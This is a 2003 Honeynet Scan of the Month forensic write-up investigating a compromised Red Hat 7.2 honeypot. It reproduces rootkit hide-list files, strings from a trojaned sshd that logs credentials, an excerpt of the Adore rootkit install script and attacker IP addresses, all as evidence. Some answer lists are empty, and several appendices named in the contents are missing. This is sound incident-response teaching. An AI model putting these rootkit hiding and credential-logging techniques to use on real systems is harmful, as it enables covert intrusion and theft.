Project Honeynet Scan of the Month 29

September 2003

Matthew Richard mrichard91@crocker.com



Table of Contents

Introduction
Question 1
Question 2
Question 3
Question 4
Question 5
Question 6
Question 7
Question 8
Question 9
Bonus Question
Appendix A – Contents of /dev/ttyxx files
Appendix B – Output of “netstat -anp”
Appendix C – Output of “lsof -i”
Appendix D – Output of “lsof” for process 15119
Appendix E – Contents of /mnt/sepchallenge/etc/opt/psybnc/log/psybnc.log
Appendix F – Adore rootkit installation script
Appendix G – MAC times of SSH binaries
Appendix H – Whois 213.154.118.219
Appendix I – Email recovered from unallocated disk space
Appendix J – Screenshot of console



Introduction

From http://old.honeynet.org/scans/scan29/:

“On August 10, 2003 a Linux Red Hat 7.2 system was compromised. Your mission is to analyze the compromised system. What makes this challenge unique is you are to analyze a live system. The image in question was ran within VMware. Once compromised, we suspended the image. The challenge to you is to download the suspended image, run it within VMware (you will get a console to the system with root access), and respond to the incident. When responding to the incident, you may do a live analysis of the system or you can first verify that the system has been compromised and then take it down for a dead analysis (or a combination of both). In either case, you will be expected to explain the impact you had on the evidence. Fortunately, this system was prepared for an incident and MD5 hashes were calculated for all files before the system was deployed. Note, this image was recovered from VMware Workstation 4.0, it will not work in older versions. You can download an evaluation copy.”

After downloading the image file and the file of MD5 hashes the first step was to verify them against the published MD5's.

Suspended image (106MB) MD5 = d95a8c351e048bd7d5596d6fc49b6d72

[matt@mattpc sept-challenge]$ md5sum linux-suspended.tar.bz2
d95a8c351e048bd7d5596d6fc49b6d72 linux-suspended.tar.bz2

The process of powering on the suspended Vmware image highlighted several differences between the environment in which the Vmware image had been created.  Initially the image was restored on an AMD Athlon processor running Redhat Linux 9.0 and Vmware v4.0.  Unfortunately a live Vmware image will only restore on a similar CPU architecture as that which it was booted in, in this case an Intel CPU.   The image was then restored on an Intel P4 running Windows XP and Vmware v4.0.  The Vmware software has certain configuration settings for devices such as the floppy, cdrom and NIC that map each to a host operating system resource.  For example the Linux version of Vmware maps the cdrom drive to /dev/cdrom whereas the Windows version maps it to d:.  These settings must be changed before the Vmware machine can be restored.  In this investigation the cdrom, floppy and NIC were all changed to the local Windows devices d:, a:, and vmnet1.

All output and images were copied from the Windows XP host to the analysis host running Redhat Linux 9.0.




Questions


  1. Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.


Upon starting the Vmware machine several messages appear on the console. Since this evidence was likely to disappear quickly a screenshot was taken using the Vmware “Capture Screen” option. The following initial messages were very suspicious:

(swapd) uses obsolete (PF_INET,SOCK_PACKET)
eth0: Promiscuous mode enabled.
Device eth0 entered promiscuous mode

The messages were suspicious since swapd does not normally use network functions such as PF_INET or SOCK_PACKET. Also the fact that eth0 had entered promiscuous mode indicated the probable presence of a sniffer.

The next step was to mount a response CD containing trusted system binaries. The binaries on the CD were statically compiled to minimize the trust placed on the possibly compromised system. The first priority is to gather and save volatile system information. The CD was mounted using “mount /dev/cdrom.”

For the purposes of collecting data on a trusted system and not relying on the possibly compromised host operating system, the Vmware host was configured to collect the output of the tools. This environment was created by connecting the Vmware guest OS's network connection to a newly created Vmware host-only network. The host-only network was configured to use the 192.168.1.0/24 network to allow it to communicate with the vmware guest without changes to the guest. As an added protection against possible contamination between the possibly compromised guest OS and the host OS, firewall settings on the host OS were configured to statefully allow only incoming port 50000. For each command run a netcat listener was created on the host to take the incoming network data and redirect it to a text file on the host. This was done using the command “nc -l -p 50000 -s 192.168.1.1 > outputfile.txt”. After each command on the guest was run a new listener was setup on the host.

The volatile data gathered was the output of the commands “lsof”, “lsof -i”, “ifconfig”, “netstat -anp” and “kern_check”. Each command was run using the statically compiled binary from the cdrom in the format of “/mnt/crom/unixforensics/response_kit/linux_x86_static/command | /mnt/crom/unixforensics/response_kit/linux_x86_static/nc 192.168.1.1 50000”.

With the output of these commands saved to a trusted host a brief analysis on the trusted host showed that the live host was probably compromised. This conclusion was based upon the following data:

At this point a system administrator would be forced to make a decision to either image the system while it is live or power down the system and image it while offline. This decision would likely be influenced by several factors such as how critical uptime is on the system. For the sake of this exercise it was chosen to power off the system and create an image offline. This decision was made due to the unique circumstances presented by this challenge. In this challenge the compromised host was a suspended image of a live machine. Since the image was suspended in Vmware and is easily copied, it is possible to both restore the system to production and perform an offline image of the filesystem. This would not normally be possible with a production system thus forcing a choice. The method of imaging the filesystem offline is preferable since no data can be changed during the imaging process.

The system was imaged by booting the system with a Redhat 8.0 installation disk. The linux rescue mode was used and the filesystem was mounted in read-only mode. An md5sum of the disk was performed to insure image integrity later using the command “md5sum /dev/sda1”. The host OS was configured to receive the image from the guest using netcat “nc -l -p 50000 > forensic_dd.img”. The guest was imaged using the command “dd if=/dev/sda1 | nc 192.168.1.1 50000”. The image was later mounted on the analysis machine and the md5 checksums were successfully compared. On the analysis machine the image was mounted read-only using the following command “sudo mount -o ro,loop,nodev,noexec,noatime forensic_dd.img /mnt/sepchallenge”. The mounted path is referred to in other sections of this document.




  1. Explain the impact that your actions had on the running system.


The restoring of the Vmware image and the mounting of the forensics CD generated several log messages due to incompatabilities between the Windows and Linux versions of vmware. The log messages were sent to /var/log/messages which was redirected to /dev/null, however the log data was able to be retrieved from the unallocated disk space on the hard drive image. The log messages may have alerted the attacker to the presence of an investigation.

Aug 10 20:30:32 localhost kernel: ide-floppy driver 0.97
Aug 10 20:30:32 localhost kernel: hda: ATAPI 1X CD-ROM drive, 32kB Cache, UDMA(33)
Aug 10 20:30:32 localhost kernel: Uniform CD-ROM driver Revision: 3.12
Aug 10 20:31:53 localhost kernel: hda: DMA disabled
Aug 10 20:31:53 localhost kernel: hda: command error: status=0x51 { DriveReady SeekComplete Error }
Aug 10 20:31:53 localhost kernel: hda: command error: error=0x50
Aug 10 20:31:53 localhost kernel: end_request: I/O error, dev 03:00 (hda), sector 400056

The act of mounting the cd would also have updated the atime for /bin/mount, /etc/fstab and /dev/cdrom.

In gathering the volatile data from the system the statically compiled binaries used live system resources such as tty, pipes, and network sockets. Details of the resources used can be seen in the lsof output as it transferred its output to the host system.

lsof 15422 root cwd DIR 3,0 6144 143428 /mnt/cdrom/response_kit/linux_x86_static
lsof 15422 root rtd DIR 8,1 4096 2 /
lsof 15422 root txt REG 3,0 349492 158418 /mnt/cdrom/response_kit/linux_x86_static/lsof
lsof 15422 root 0u CHR 4,1 34597 /dev/tty1
lsof 15422 root 1w FIFO 0,0 30489 pipe
lsof 15422 root 2u CHR 4,1 34597 /dev/tty1
lsof 15422 root 3r DIR 0,1 0 1 /proc
lsof 15422 root 4r DIR 0,1 0 1010696200 /proc/15422/fd
lsof 15422 root 5w FIFO 0,0 30493 pipe
lsof 15422 root 6r FIFO 0,0 30494 pipe
nc 15423 root cwd DIR 3,0 6144 143428 /mnt/cdrom/response_kit/linux_x86_static
nc 15423 root rtd DIR 8,1 4096 2 /
nc 15423 root txt REG 3,0 439240 159078 /mnt/cdrom/response_kit/linux_x86_static/nc
nc 15423 root mem REG 8,1 261460 44690 /lib/libnss_files-2.2.4.so
nc 15423 root mem REG 8,1 5772268 44650 /lib/i686/libc-2.2.4.so
nc 15423 root mem REG 8,1 485171 44656 /lib/ld-2.2.4.so
nc 15423 root mem REG 8,1 355236 44698 /lib/libnss_nisplus-2.2.4.so
nc 15423 root mem REG 8,1 436784 44674 /lib/libnsl-2.2.4.so
nc 15423 root 0r FIFO 0,0 30489 pipe
nc 15423 root 1u CHR 4,1 34597 /dev/tty1
nc 15423 root 2u CHR 4,1 34597 /dev/tty1
nc 15423 root 3u IPv4 30495 TCP 192.168.1.79:1155->192.168.1.1:50000 (ESTABLISHED)
lsof 15424 root cwd DIR 3,0 6144 143428 /mnt/cdrom/response_kit/linux_x86_static
lsof 15424 root rtd DIR 8,1 4096 2 /
lsof 15424 root txt REG 3,0 349492 158418 /mnt/cdrom/response_kit/linux_x86_static/lsof
lsof 15424 root 4r FIFO 0,0 30493 pipe
lsof 15424 root 7w FIFO 0,0 30494 pipe


The statically compiled binaries avoided using any system resources and thus trusting the system except the nc binary. For an unknown reason the nc binary access several system libraries. In this case, since nc was responsible for delivering data across the network, it may have been possible for one of libraries to have been trojaned in memory and thus alter data. An md5sum of the output of the tools could have been done to validate that no data was altered in transit, however this was not done during the investigation.




  1. List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).

Answer

PIDs with suspect ports:


Method

Using the statically linked netstat binary from the response CD the “netstat -anp” command was executed. The output showed several ports that are not open by default on Redhat 7.2. The TCP ports 65436, 65336, 3128 and 2003 are not default Redhat 7.2 ports. UDP port 2049 is normally used by NFS and is not a default Redhat 7.2 port. A complete listing of the netstat output can be found in Appendix B.




  1. Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?

Answer

There was an active network connection from 213.154.118.200:1188 to the honeypot on port 65336. This port was identified as suspect in Question 3. The service on this port was “psybnc”. Psybnc is an IRC proxy that helps hide the real IP address of an IRC client.

Description of psybnc from Net Knowledge Base http://www.netknowledgebase.com/tutorials/psybnc.html:

If you know nothing about bncs, a bnc is short for a 'bouncer.' A bnc acts as a proxy for irc, allowing you to hide your real IP address and use a vhost (vanity host - something like 'this.is.a.l33t.vhost.com'). What are the advantages of this? Well, mainly there's just one important one: It'll stop stupid packet kiddies from trying to knock you off the network. Everyone hates getting disconnected, and with a bnc on a decent shell, you should be pretty immune. Remember though: the kiddies can still nuke you, but it is assumed that the shell provider has a high-bandwidth line that allows it to withstand the numerous packets. If your shell is on a 56.6, you'll still be screwed.

Method

The connection is seen in both the netstat output (Appendix B) and the output of “lsof -i” (Appendix C). By viewing the output of lsof (Appendix D) and looking for process 15119 it can be seen that the process does indeed have an active network connection. It also appears that the process has a file named psybnc.log open.

initd 15119 root 4w REG 8,1 25765 92097 /etc/opt/psybnc/log/psybnc.log
initd 15119 root 6u IPv4 16157 TCP 192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED)

The psybnc log file (Appendix E) shows that psynbc was bound to port 65336.

Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port 65336

Further analysis shows of the psybnc log file shows that the last client connectoin to the psybnc server was sanido-08.is.pcnet.ro. As of 7:30pm on 9/21/2003 sanido-08.is.pcnet.ro resolved to 213.154.118.200.

Sun Aug 10 17:51:22 :connect from sanido-08.is.pcnet.ro

[matt@mattpc log]$ host sanido-08.is.pcnet.ro
sanido-08.is.pcnet.ro has address 213.154.118.200




  1. How many instances of an SSH server were installed and at what times?


Answer

4 instances of the SSH server were installed.

    1. /usr/sbin/sshd – Sun Aug 10 16:33:57 2003
    2. /usr/bin/smbd -D – Sun Aug 10 16:33:33 2003
    3. /usr/lib/sp0 – Sun Aug 10 18:30:54 2003
    4. /ilb/.x/s/xopen – Sun Aug 10 18:32:16 2003

Method

To find all of the instances of SSH server installed a signature for sshd was needed. The signature could be used to search the filesystem for files containing that signature, similar to a virus scanner. To find a good signature a look through the sshd source was needed. The sshd source contains a usage function with the following line:

fprintf(stderr, "sshd version %s\n", SSH_VERSION);

Using the “sshd version” signature a search of the all files on the system is performed:

sh-2.05b# find ./ -type f -exec grep -H "sshd version" {} \;
Binary file ./usr/bin/smbd -D matches
Binary file ./usr/lib/sp0 matches
Binary file ./usr/sbin/sshd matches
Binary file ./lib/.x/s/xopen matches

Of course this method could be fooled if the sshd daemon was compiled without the usage function.

To find the installation times the creation time of the file inodes are checked. To do this “ls -i” is run on each file. Using the inode number from the ls output debugfs is run to view the ctime of the inode.

sh-2.05b# ls -i ./usr/bin/smbd\ -D
92030 ./usr/bin/smbd -D
sh-2.05b# /sbin/debugfs -R "stat <92030>" ~/forensics/sept-challenge/forensics_dd.img
debugfs 1.32 (09-Nov-2002)
Inode: 92030 Type: regular Mode: 0755 Flags: 0x0 Generation: 95123
User: 0 Group: 0 Size: 672527
File ACL: 0 Directory ACL: 0
Links: 1 Blockcount: 1328
Fragment: Address: 0 Number: 0 Size: 0
ctime: 0x3f36ac1d -- Sun Aug 10 16:33:33 2003
atime: 0x3f36cd1a -- Sun Aug 10 18:54:18 2003
mtime: 0x3d75ae12 -- Wed Sep 4 02:54:10 2002
BLOCKS:
(0-11):201174-201185, (IND):201186, (12-164):201187-201339
TOTAL: 166




  1. Which instances of the SSH servers from question 5 were run?

Answer

The following SSH servers from question 5 were run:

Method

To determine if each instance of the SSH servers from question 5 were run it was necessary to analyze the MAC times of each file. The MAC times for each of the SSH server binaries was obtained using “ls -ial filename” and 'debugfs -R “stat <inode #>” forensics_dd.img'.

The /usr/sbin/sshd binary was run at the last system startup which occurred at 17:34 8/9/2003. The attacker appears to have modified the inodes of a large number of system binaries at 16:33 8/10/2003 which modified the ctime of the binary.

The /usr/lib/sp0 binary was not run. The atime of the binary occurred before the creation time of the binary. This apparent anomaly occurred due the manner in which the mv command updates MAC times. The mv command updates only the ctime of the moved file but not the atime. Because of this the file appears to have been accessed before it was created. See Appendix G for a listing of the MAC times for all 4 binaries.

In addition to the MAC time evidence there was no other evidence that the binary had been run. There was no process running as evidenced by the lack of the PID file defined in the binary's configuration file /usr/lib/sp0_cfg.

Here is a excerpt from the adore installation script, the entire script can be found in Appendix F.


mv ssh/sp0 /bin/

mv ssh/* /usr/lib/

Both /lib/.x/s/xopen and /usr/bin/smbd -D binaries were run and were running at the time the Vmware image was suspended. The xopen binary had 2 copies running with process id's 25239 and 25241. The smbd -D binary had 1 copy running with PID 3137.




  1. Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?

Answer

The “/usr/bin/smbd -D” binary appears to have been modified to collect username and password information. It does not appear that any information was collected.

Method

The strings command was run on all of the SSH servers identified in question 5. Several interesting items were discovered in the output of “/usr/bin/smbd -D”.

Excerpt from “strings /usr/bin/smbd\ -D”:

+-[ User Login Incoming ]----------- --- --- - -
| username: %s password: %s%s hostname: %s
+----------------------------------- ----- --- -- -- -

By-ICE_4_All ( Hackers Not Allowed! )

In the process of running strings on the 3 trojaned versions of SSH server it appeared that all 3 had information collecting components. All 3 versions had the following strings:

ps laxww 2>/dev/null
ps -al 2>/dev/null
ls -alni /tmp/. 2>/dev/null
w 2>/dev/null
netstat -s 2>/dev/null
netstat -an 2>/dev/null
netstat -in 2>/dev/null

Since only one of the trojaned SSH servers had the username and password collection routine more research was required. A Google search for “SSH ps laxww” revealed a posting to security focus about possibly trojaned SSH server http://archives.neohapsis.com/archives/sf/sun/2001-q3/0174.html. Konrad Reich writes:

Yes! It's some entropy gathering from within the default sshd. If no
random device is present sshd is able to calculate some PRNs using entropy
provided by net statitics, etc...





  1. Which system executables (if any) were trojaned and what configuration files did they use?

Answer

The following binaries were trojaned:

The following configuration files were used by the trojaned binaries:

Method

Using the known good MD5 hashes provided by the Honeynet Project I compared them to the MD5 hashes from the compromised filesystem.

< 6091c2a0a9231844d1ee9d43f29e6767 /usr/bin/top
> 58a7e5abe4b01923c619aca3431e13a8 /usr/bin/top
< 0ea03807e53e90b147c4309573ebc76a /bin/netstat
> c0e8b6ff00433730794eda274c56de3f /bin/netstat
> a71c756f78583895afe7e03336686f8b /bin/ps
< 881c7af31f6f447e29820fb73dc1dd9a /bin/ps
< 3e743c6bfa1e34f2f2164c6a1f1096d0 /bin/ls
> 9e7165f965254830d0525fda3168fd7d /bin/ls
< e984302652a0c59469a0d8826ae3cdeb /sbin/ifconfig
> bbdf9f3d6ed21c03b594adcd936c2961 /sbin/ifconfig

These trojaned binaries can are also found in /usr/lib/libshtift:

> 0ea03807e53e90b147c4309573ebc76a /usr/lib/libshtift/netstat
> 881c7af31f6f447e29820fb73dc1dd9a /usr/lib/libshtift/ps
> 3e743c6bfa1e34f2f2164c6a1f1096d0 /usr/lib/libshtift/ls
> e984302652a0c59469a0d8826ae3cdeb /usr/lib/libshtift/ifconfig
> 6091c2a0a9231844d1ee9d43f29e6767 /usr/lib/libshtift/top

When comparing the original list of MD5's to the list created from the compromised filesystem 5 new files show up in /dev

> d14dd73ee79bd009fc5473852ea55fac /dev/ttyop
> 9822e71858735f58e142293ad1695166 /dev/ttyoa
> 95400773ef48d3898960c918553a74e4 /dev/ttyof
> d41d8cd98f00b204e9800998ecf8427e /dev/hdx1
> d41d8cd98f00b204e9800998ecf8427e /dev/hdx2

A quick find also reveals that these are the only non-device files in the /dev directory besides MAKEDEV.

[matt@mattpc dev]$ find /mnt/sepchallenge/dev -type f
/mnt/sepchallenge/dev/MAKEDEV
/mnt/sepchallenge/dev/ttyop
/mnt/sepchallenge/dev/ttyoa
/mnt/sepchallenge/dev/ttyof
/mnt/sepchallenge/dev/hdx1
/mnt/sepchallenge/dev/hdx2

A look at these files reveals suspicious looking content that could be filters for trojaned binaries. See Appendix A.

Going on this suspicion I searched the trojaned binaries for references to these files. This also tells which configuration files are used by which binary.

[matt@mattpc dev]$ strings /mnt/sepchallenge/bin/ps | grep /dev/
/dev/ttyop
[matt@mattpc dev]$ strings /mnt/sepchallenge/bin/netstat | grep /dev/
/dev/ttyoa
[matt@mattpc dev]$ strings /mnt/sepchallenge/usr/bin/top | grep /dev/
/dev/ttyop
[matt@mattpc dev]$ strings /mnt/sepchallenge/bin/ls | grep /dev/
/dev/ttyof
[matt@mattpc dev]$ strings /mnt/sepchallenge/sbin/ifconfig | grep /dev/
*** no results????




  1. How and from where was the system likely compromised?

Answer

The system appears to have been compromised through a buffer overflow in openssl by the host extreme-service-11.is.pcnet.ro with IP address 213.154.118.219 at 13:24 on 8/10/2003.

The system appears to have had an upatched version of openssl that was not updated with an updated package per the Redhat Errata described in https://rhn.redhat.com/errata/RHSA-2002-155.html.

Method

Using a system MAC timeline the first signs of suspicious activity seem to occur at Aug 10 2003 15:27:36. The MAC timeline was generated using the “mac-daddy.pl” tool written by Rob Lee. The events at 15:27 indicate access to files used by the wu-ftpd package. All previous activity seemed to be related to innocent system activity such as cron jobs.

A search of the Redhat errata for wu-ftpd on Redhat 7.2 shows that there was an updated package to fix a remotely exploitable vulnerability https://rhn.redhat.com/errata/RHSA-2003-245.html. However in the errata notes Redhat states:

Red Hat Linux 7.1 and 7.2 contain a version of wu-ftpd that is affected by
this bug, although it is believed this issue will not be remotely
exploitable due to compiler padding of the buffer targeted for the overflow.

Also a search of the web for wu-ftpd exploits that would work on Redhat 7.2 turned up nothing. At this point it seems probable that the FTP daemon was the compromise vector but may have been used after infection.

The attacker had been smart enough to redirect /var/log/messages to /dev/null and delete most other relevant system log information. The next logical step would be to look for log data in unallocated disk space on the system. To obtain all data located in unallocated space the dls tool from the The @stake Sleuth Kit (TASK) is used. The command “/usr/local/task/bin/dls forensic_dd.img >forensic_dd.dls”. From this file only text data would be good for finding deleted log file data. The strings command was run against the dls output.

Since any log data in the unallocated space would contain the date and time a search was performed for the string “Aug 10”. The search revealed the following interesting log messages:

[Sun Aug 10 13:16:27 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:16:37 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:23:17 2003] [error] [client 213.154.118.219] File does not exist: /var/www/html/sumthin
[Sun Aug 10 13:24:29 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[Sun Aug 10 13:32:38 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:32:38 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different

A Google search for “ OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED” revealed several sites that indicated this log message was related to exploitation of the openssl vulnerability. Specifically the AUSCERT site http://www.auscert.org.au/render.html?it=2409&cid=1 describes the presence of these log messages as a sign of possible compromise.




Bonus Question:

What nationality do you believe the attacker(s) to be, and why?

Answer

The attacker(s) appear to be Romanian.

Method

Several artifacts on the compromised machine indicate that the attackers are Romanian.

First, the IP address that launched the initial attack, 213.154.118.219, belongs to the Pcnet ISP network in Romania (see Appendix H).

Second, the IP address from question 4 that had an active connection, 213.154.118.200 , also belongs to the Pcnet ISP network in Romania.

Finally, all mail artifacts found in the unallocated disk space contain Romanian text. For an example email in Romanian from the unallocated space see Appendix I.  The text from the email was determined to be Romanian through trial and error.  Initially the Google translators for Spanish, Italian, German, French and Portuguese all returned no valid translations for word in the email.  Assuming that the attackers were truly from Romania as their IP addresses suggested a Romanian-English translator was tried.  The dictionary at http://www.dictionare.com/dictionaries/dictionary.htm was able to successfully translate all of the words in the email in Appendix I



Appendix A – Contents of /dev/ttyxx files

Contents of /dev/ttyop:

[matt@mattpc dev]$ cat /mnt/sepchallenge/dev/ttyop
3 swapd
3 psybnc
3 sl2
3 sl3
3 smbd
3 uptime
3 x2
3 startwu
3 scan
3 r00t

Contents of /dev/ttyof:

[matt@mattpc bin]$ cat /mnt/sepchallenge/dev/ttyof
psbnc
smbd
iceconf.h
icekey.h
icepid.h
uptime
startwu
r00t

Contents of /dev/ttyoa:

[matt@mattpc bin]$ cat /mnt/sepchallenge/dev/ttyoa
1 213.233
1 24.104
1 217.10
1 216
1 193
1 209.118
3 10001
3 10002
3 13064
3 19
3 69
3 6667
4 10001
4 6667
4 10002
4 19
4 69
4 13064



Appendix B – Output of “netstat -anp”

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 845/smbd
tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN 732/xinetd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN 677/identd
tcp 0 0 0.0.0.0:2003 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 732/xinetd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 699/sshd
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 732/xinetd
tcp 0 0 0.0.0.0:65336 0.0.0.0:* LISTEN 15119/initd
tcp 0 0 0.0.0.0:3128 0.0.0.0:* LISTEN 25241/xopen
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 759/sendmail: accep
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 3137/smbd -D
tcp 0 0 0.0.0.0:65436 0.0.0.0:* LISTEN 15119/initd
udp 0 0 192.168.1.79:137 0.0.0.0:* 850/nmbd
udp 0 0 0.0.0.0:137 0.0.0.0:* 850/nmbd
udp 0 0 192.168.1.79:138 0.0.0.0:* 850/nmbd
udp 0 0 0.0.0.0:138 0.0.0.0:* 850/nmbd
udp 0 0 0.0.0.0:3049 0.0.0.0:* 25239/xopen
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 2 [ ACC ] STREAM LISTENING 943 778/gpm /dev/gpmctl
unix 4 [ ] DGRAM 7984 3247/syslogd /dev/log
unix 2 [ ] DGRAM 15679 732/xinetd
unix 2 [ ] DGRAM 7993 3252/klogd
unix 2 [ ] DGRAM 1078 893/login -- root
unix 2 [ ] DGRAM 990 820/crond
unix 2 [ ] DGRAM 924 759/sendmail: accep
unix 2 [ ] DGRAM 834 677/identd
unix 2 [ ] DGRAM 804 657/apmd
unix 2 [ ] STREAM CONNECTED 417 1/init
Active IPX sockets
Proto Recv-Q Send-Q Local Address Foreign Address State



Appendix C – Output of “lsof -i”

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
identd 677 root 4u IPv4 836 TCP *:auth (LISTEN)
identd 685 root 4u IPv4 836 TCP *:auth (LISTEN)
identd 686 root 4u IPv4 836 TCP *:auth (LISTEN)
identd 695 root 4u IPv4 836 TCP *:auth (LISTEN)
identd 696 root 4u IPv4 836 TCP *:auth (LISTEN)
sshd 699 root 3u IPv4 860 TCP *:ssh (LISTEN)
xinetd 732 root 3u IPv4 881 TCP *:finger (LISTEN)
xinetd 732 root 4u IPv4 882 TCP *:telnet (LISTEN)
xinetd 732 root 5u IPv4 883 TCP *:ftp (LISTEN)
sendmail 759 root 4u IPv4 925 TCP localhost.localdomain:smtp (LISTEN)
smbd 845 root 9u IPv4 1015 TCP *:netbios-ssn (LISTEN)
nmbd 850 root 6u IPv4 1025 UDP *:netbios-ns
nmbd 850 root 7u IPv4 1026 UDP *:netbios-dgm
nmbd 850 root 8u IPv4 1028 UDP 192.168.1.79:netbios-ns
nmbd 850 root 9u IPv4 1029 UDP 192.168.1.79:netbios-dgm
smbd 3137 root 6u IPv4 4571 TCP *:cfinger (LISTEN)
smbd 3137 root 16u IPv4 976 TCP *:https (LISTEN)
smbd 3137 root 17u IPv4 977 TCP *:http (LISTEN)
(swapd) 3153 root 16u IPv4 976 TCP *:https (LISTEN)
(swapd) 3153 root 17u IPv4 977 TCP *:http (LISTEN)
initd 15119 root 3u IPv4 15617 TCP *:65336 (LISTEN)
initd 15119 root 5u IPv4 15619 TCP *:65436 (LISTEN)
initd 15119 root 6u IPv4 16157 TCP 192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED)
xopen 25239 root 8u IPv4 9972 UDP *:3049
xopen 25239 root 16u IPv4 976 TCP *:https (LISTEN)
xopen 25239 root 17u IPv4 977 TCP *:http (LISTEN)
xopen 25241 root 8u IPv4 12302 TCP *:squid (LISTEN)
xopen 25241 root 16u IPv4 976 TCP *:https (LISTEN)
xopen 25241 root 17u IPv4 977 TCP *:http (LISTEN)
lsn 25247 root 16u IPv4 976 TCP *:https (LISTEN)
lsn 25247 root 17u IPv4 977 TCP *:http (LISTEN)



Appendix D – Output of “lsof” for process 15119

initd 15119 root cwd DIR 8,1 4096 46913 /etc/opt/psybnc
initd 15119 root rtd DIR 8,1 4096 2 /
initd 15119 root txt REG 8,1 214636 47418 /etc/opt/psybnc/initd
initd 15119 root mem REG 8,1 485171 44656 /lib/ld-2.2.4.so
initd 15119 root mem REG 8,1 622317 44652 /lib/i686/libm-2.2.4.so
initd 15119 root mem REG 8,1 261196 44703 /lib/libresolv-2.2.4.so
initd 15119 root mem REG 8,1 5772268 44650 /lib/i686/libc-2.2.4.so
initd 15119 root mem REG 8,1 261460 44690 /lib/libnss_files-2.2.4.so
initd 15119 root mem REG 8,1 355236 44698 /lib/libnss_nisplus-2.2.4.so
initd 15119 root mem REG 8,1 436784 44674 /lib/libnsl-2.2.4.so
initd 15119 root mem REG 8,1 72296 44687 /lib/libnss_dns-2.2.4.so
initd 15119 root 0u CHR 136,0 2 /dev/pts/0
initd 15119 root 1u CHR 136,0 2 /dev/pts/0
initd 15119 root 2u CHR 136,0 2 /dev/pts/0
initd 15119 root 3u IPv4 15617 TCP *:65336 (LISTEN)
initd 15119 root 4w REG 8,1 25765 92097 /etc/opt/psybnc/log/psybnc.log
initd 15119 root 5u IPv4 15619 TCP *:65436 (LISTEN)
initd 15119 root 6u IPv4 16157 TCP 192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED)
initd 15119 root 7w REG 8,1 6 47416 /etc/opt/psybnc/psybnc.pid
initd 15119 root 8w REG 8,1 0 92098 /etc/opt/psybnc/log/USER1.TRL
initd 15119 root 10w REG 8,1 0 92099 /etc/opt/psybnc/log/USER2.TRL



Appendix E – Contents of /mnt/sepchallenge/etc/opt/psybnc/log/psybnc.log


Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port 65336
Sun Aug 10 16:02:46 :Listener created :0.0.0.0 port -100
Sun Aug 10 16:02:46 :Can't create listening sock on host * port -200 (bind)
Sun Aug 10 16:02:46 :Loading all Users..
Sun Aug 10 16:02:46 :No Users found.
Sun Aug 10 16:02:46 :psyBNC2.3.1-cBtITLdDMSNp started (PID :15119)
Sun Aug 10 16:03:32 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:03:32 :New User:sic (wqewqde dedwqere) added by sic
Sun Aug 10 16:03:36 :User sic () has no server added
Sun Aug 10 16:04:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:04:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()
Sun Aug 10 16:04:47 :Hop requested by sic. Quitting.
Sun Aug 10 16:04:47 :User sic got disconnected from server.
Sun Aug 10 16:04:51 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:06:08 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:06:24 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:06:25 :User sic logged in.
Sun Aug 10 16:06:57 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:06:59 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:06:59 :User sic logged in.
Sun Aug 10 16:07:26 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 16:07:34 :connect from sanido-09.is.pcnet.ro
Sun Aug 10 16:07:47 :User sic logged in.
Sun Aug 10 16:08:00 :User sic: cant connect to fairfax.va.us.undernet.org port 6667.
Sun Aug 10 16:08:06 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
Sun Aug 10 16:08:06 :User sic () connected to fairfax.va.us.undernet.org:6667 ()
Sun Aug 10 16:11:30 :User sic quitted (from sanido-09.is.pcnet.ro)
Sun Aug 10 17:49:41 :connect from sanido-08.is.pcnet.ro
Sun Aug 10 17:49:47 :User sic logged in.
Sun Aug 10 17:50:39 :New User:redcode (4,1redCode8Chicken) added by sic
Sun Aug 10 17:50:51 :User redcode () has no server added
Sun Aug 10 17:51:22 :connect from sanido-08.is.pcnet.ro
Sun Aug 10 17:51:22 :User redcode logged in.
